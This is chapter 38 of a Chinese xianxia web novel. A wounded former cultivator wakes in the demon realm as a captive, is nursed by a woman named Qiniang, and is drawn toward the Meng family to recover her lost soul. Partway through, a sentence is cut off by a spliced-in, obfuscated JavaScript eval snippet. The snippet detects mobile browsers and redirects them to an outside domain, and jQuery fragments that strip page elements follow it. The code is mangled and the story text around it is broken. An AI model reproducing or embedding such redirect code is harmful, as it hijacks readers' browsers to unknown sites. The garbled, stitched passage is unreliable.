38.我怎么没死?

    “这妖,咱还救不救,大人,您就给个准话。”


    宋莺时刚睁开眼睛,就看到一群人围着她,衣服湿哒哒地黏在身上。


    她觉得自己馊了。


    宋莺时闻着空气中腐烂的味道,默默肯定自己的想法。


    “救,这妖身份来历皆不明,正好,昨日孟家在找人,我们胡乱把她交上去充个数也好。”


    身材魁梧的男人眼里冒着凶光,盯着宋莺时看了半晌,朝旁边挥挥手,“七娘,你去给她洗洗,脏死了,待收拾一番后再去献给孟家。”


    她听明白了,自己现在就是案板上的鱼肉,任人宰割。


    这是大型人口交易场所,时运不济,她没死成但也没活成功。


    七娘长得瘦瘦小小的,却只用一只胳膊就扛起了她。


    真是人不可貌相,宋莺时翻着因为旋转剧烈,而还没回神的眼睛,倏然与七娘对视上。


    “啪”,一个巴掌打在了她眼皮上,顿时脑中天旋地转,耳边嗡嗡,还夹带着一道嘶哑声音:“大人,我这就去帮她清洗清洗。”


    话音刚落,便紧急跑动上楼。


    宋莺时觉得她浑身都要散架了,尤其是胃里翻江倒海,但是因为许久不曾进食,所以只有酸水在喉咙里苦得冒泡。


    等全身躺进温水当中,她才恢复了点精气,有气无力道:“谢谢。”


    胳膊刺啦啦得疼,她就低头寻去,七娘正卷上她的衣袖,大大小小的伤口遍布皮肤,有些甚至可以看出皑皑白骨。


    又因为在河中浸泡多时,有些地方已经开始腐烂,青绿一片,散发着绝对称不上好闻的味道。


    “都这样了,你居然还没死。”七娘倒抽一口凉气。


    真是惭愧,她居然还活了下来。


    宋莺时望着惨白天花板,莫名心酸。


    “不用谢我,我只负责给你处理伤口,洗漱什么的还是要你自己来。”


    话虽然显得冷漠无情,但七娘手上动作却轻柔了不少,膏状物体闻着清香,她猜想是药物之类的东西。


    七娘小心地翻过她的手臂,眼神猛地一震,“你不是妖族?”


    宋莺时不知道现下是什么情况,脑中转了一圈,没有吭声。


    敌不动,我不动,她想看看七娘的态度。


    “千万藏好了,老大平生最恨修士,幸好你先遇上了我,否则怕是要当场丧命。”声音哑然,又刻意压得很低,宋莺时要全神贯注,才能听清七娘的话。


    她小幅度地点点头,虚弱道:“谢谢。”


    想了想,她继而又问:“不知这里是什么地方?”


    七娘看着她,眸中闪过幽光,似是有几分震惊:“妖界的西南边界,大人是从玄玉河边将你打捞起的。”


    所以她现在身处妖界?还在玄玉河的旁边?


    那她恢复后穿过玄玉河岂不是就能回去了。


    “不能,河岸有妖兵把守,你也是命大,漂到了一处山谷里,又刚好碰上老大一行人。”七娘摇摇头,像是看穿了她的想法一般,冷漠地打破她的幻想。


    宋莺时垂眸,忽然想起那个“老大”口中的孟家,旋即问道:“可否告知我,那孟家是在哪里,最近发生了什么事情吗?”


    伤口处立时传来痛感,七娘精致的脸上扭曲一瞬,“你问得太多了。”


    “药已上好,虽然不知道你身上为什么会有妖气,但我还是奉劝你,不要告诉别人你是修士。”眼神意味深长,七娘合上药膏起身,“这里的人并不欢迎修士,孟家尤盛。”


    门被轻轻带上,宋莺时泡在水里,细细思索七娘的话。


    看似没有给任何信息,实际上孟家厌恶修士已是最大的提醒。


    她为什么要帮她呢?就单看七娘对她的态度,她怎么也不像是与她口中的老大,是一伙人。


    叹了口气,现在想这些也没有用,不如先养好这幅脆弱的身体。


    她费力抬起手,或许是玄玉灌溉过的缘故,倒是没有那么苍白,但由于过度干瘦,她清晰地摸到自己的骨骼。


    脸上估计也是皮包骨的状态,她甚至都不用摸,就能猜到。


    凭借着对洗干净身体的渴望,今日的力气全花费在了洗漱上,又扶着墙壁缓慢走到门口。


    不对劲!门外有东西!


    虽然神魂消散,记忆消失了一部分,一身修为也尽数废除,但感知觉却敏感了许多。


    手上的红绳发着隐约红光,似乎在阻止她开门。


    来人会是谁呢?在这里,自己并没有故识,这么晚了还来,不知目的是何。


    眸光微暗,宋莺时贴在墙上,目光寻找着这里能防身的东西。


    “嗒嗒——”


    清脆的敲门声,让她的心跳猛然加速,警惕心瞬间达到极点。


    “洗完了吗?我来给你上第二遍药。”嘶哑的声音熟悉,她猛然放下心来。


    七娘扶她到床榻,看着隐隐渗血的手臂,目光不悦,“不能乱动,这点小事都做不到吗?”


    宋莺时扬起一个笑容,语气舒缓,十分诚恳道:“抱歉,下次不会了。”


    专注于给她上药的人,也不再说什么。


    过了一会儿,七娘倏然抬头,看着她的眼睛,神情认真:“不管出现什么,都不要惊慌,他自会走的。”


    这是在点她?


    宋莺时应一声“好”,眼瞧着七娘离开房中。


    但心头的警戒却没有消失半分。


    方才浴房门口的那个人,气息分明与七娘不同。


    那是混杂着恶意与挣扎的气息,绝望中还带有一丝恐惧。


    算了,事已至此,自己也并不能改变什么,先睡觉吧。


    宋莺时这般想着,慢慢挪到床上,冷冰冰的,像是乘着千年寒玉一般,还凸出一块。


    这不是床该有的温度,也不是床该有的样子,这分明


    ——是一个人的形状。


    宋莺时差点尖叫出来,想到七娘的提醒,状若无事发生,避开那块地方,躺在了旁边。


    体温是冰冷无比,但呼吸却温热。


    真是够了,扰人清梦,天打雷劈。耳边酥麻,她憋着痒意才没有睁眼。


    手却不自觉动起来,“啪”一声,不知道打在了哪里。


    那人显然没想到自己会被偷袭,愣住了。


    宋莺时颤抖着双手,努力压制住扬起的唇角。


    “你不想看看我吗?”声音清润磁性。


    若是遇见他,不是在这样诡异的场景之中,就冲这声音,她都要爆灯。


    咽下嘴里的“不想”二字,她死死闭着眼睛。


    许是逗弄不到她,那人觉得无趣,轻笑几声就自行离去。


    她松了口气,刚想放松下来,但敏锐的感知力,让她顿时停住翻身的动作。


    不对,还有人。


    还不止一个人。


    这都是什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591261|169236||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    么?


    掉下的心随即又提了起来,粗气都不带喘一下。宋莺时用手试探性的摸向床边,终于触到一片光滑的,手感细腻的东西,似乎是一块布料。


    几乎就在她触碰的瞬间,各种声音变换着腔调,从四面八方传入耳中的,她听见那些人说:“来孟家,寻神魂。”


    声音回荡不止。


    孟家有她的神魂,宋莺时蓦地坐起,房里再没有了其它气息。


    她睁开眼,红烛已经烧到了底,烛蜡挂在灯座边缘,就像是垂落的蛛网。


    这些事情发生的蹊跷,她很难不怀疑是有人引她去孟家。


    但就只看现在,她一点价值都没有,老弱病残,光她一个人,就占了其中三个字。


    这样的自己,还有什么是值得觊觎的呢?


    宋莺时不知道,她迫切想寻回丢失的那段记忆,总觉得那重要无比。


    许是身体过于疲累,最终她还是沉沉闭上眼。


    敲锣打鼓的声音吵闹异常,由近及远穿过纱窗,传入房中。


    “你该起床了。”七娘端坐在她旁边,语气冷淡。


    宋莺时双手撑起身体,强行坐起。


    今天的天气难得晴朗,阳光将眸光染得极浅极淡。


    “是孟家吗?”她问,眼前人没有丝毫犹豫地点头。


    她瞧着衣裳纹理,华丽精美,显然制作者有着一手好绣工。


    但这般好手艺,在这里就显得格外反常。


    七娘为她扣上结扣,又取出一支玉簪,桃花样式的,与她身上的粉衣正是相配。


    “是我缝制的。”飘飘然一句,成功收获了宋莺时惊异的目光。


    她是真没想到七娘的手这么巧,眼眸真诚道:“七娘,你说实话,是不是他们看你手艺太好,才把你拐来,专门为他们做工的。”


    七娘怔住,显然没有想到少女脑洞如此大,眼见得她越发起劲,不由得摇摇头。


    正想打断宋莺时的话,肩上却多了一份重量。


    少女的脑袋倚在了她的肩头,几缕柔软的发丝飘在空中,她微微张口,打了个哈欠,似乎是困极了。


    “七娘,我好困,好困好困。”


    七娘不说话,只是接住了少女,侧身后仰些许,让她靠得更舒服些,她听出来了少女未曾说出口的心声。


    她说她好累。


    她说她好累好累。


    那便让她歇息会吧,至少自己,尚且能庇佑她一时。


    七娘将桃花簪插入乌黑发间,想了想,又捻起粉,铺在少女的腕间桃花印上。


    “别闹她,”语气陡然柔和,“让她好好休息会吧,她太累了。”


    “为什么?”是不敢置信的语调,空气中的气息倏然紊乱,“因为你看到她,想起了你自己?”


    七娘勾起浅笑,声音仍旧平淡,“是又如何?不是又如何?”


    “别想了,你一辈子都离不开这里。”语气讽刺,其中又带着一丝凄凉。


    没再理会这些声音,七娘将宋莺时平放在床上,移步至窗前。


    楼下的孟家派了不少人来,她眯着眼瞧,孟家大长老算是老熟人了,如此位高权重的人竟也会来此,怕是这次的事情不简单。


    少女睡颜恬静,她轻轻拢上门走出去。


    房里涌起阵阵怪笑:“你没睡,果然,也只有她那样的人,才会心软救下你。”


    下一秒,宋莺时陡然睁开眼睛。